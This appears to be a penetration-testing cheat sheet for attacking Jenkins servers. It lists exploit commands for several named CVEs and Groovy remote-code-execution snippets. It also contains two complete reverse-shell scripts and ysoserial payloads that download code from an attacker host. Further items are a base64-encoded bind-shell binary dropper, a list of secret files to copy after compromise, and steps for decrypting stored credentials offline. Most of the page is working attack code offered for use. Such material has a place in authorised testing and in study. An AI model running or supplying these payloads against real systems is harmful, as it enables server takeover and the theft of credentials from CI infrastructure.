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Jenkins
# Tools
# dump_builds, offline_decryption & password_spraying
# https://github.com/gquere/pwn_jenkins
# https://github.com/Accenture/jenkins-attack-framework
# URL's to check
JENKINSIP/PROJECT//securityRealm/user/admin
JENKINSIP/jenkins/script
# Groovy RCE
def process = "cmd /c whoami".execute();println "${process.text}";
# Groovy RevShell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Common bugs

Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use ysoserial to generate a payload. Then RCE using this script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Details here.
If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Original RCE vulnerability here, full exploit here.
Alternative RCE with Overall/Read and Job/Configure permissions here.

CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Execute arbitrary bash commands:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
If you don't immediately get a reverse shell you can debug by throwing an exception:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

This one will only work is a user has the 'Jobs/Configure' rights in the security matrix, so it's very specific.

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode

Password spraying

Files to copy after compromising

These files are needed to decrypt Jenkins secrets:
  • secrets/master.key
  • secrets/hudson.util.Secret
Such secrets can usually be found in:
  • credentials.xml
  • jobs/.../build.xml
Here's a regexp to find them:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Decrypt Jenkins secrets offline

Use this script to decrypt previously dumped secrets.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)

Groovy Scripts

Decrypt Jenkins secrets from Groovy

println(hudson.util.Secret.decrypt("{...}"))

Command execution from Groovy

def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
For multiline shell commands, use the following shell syntax trick (example includes bind shell):
def proc="sh -c \[email protected]|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
Automate it using this script.

Reverse shell from Groovy

String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
Last modified 1yr ago
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Outline
Common bugs
Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)
Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)
Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)
CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)
Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)
Dumping builds to find cleartext secrets
Password spraying
Files to copy after compromising
Decrypt Jenkins secrets offline
Groovy Scripts
Decrypt Jenkins secrets from Groovy
Command execution from Groovy
Reverse shell from Groovy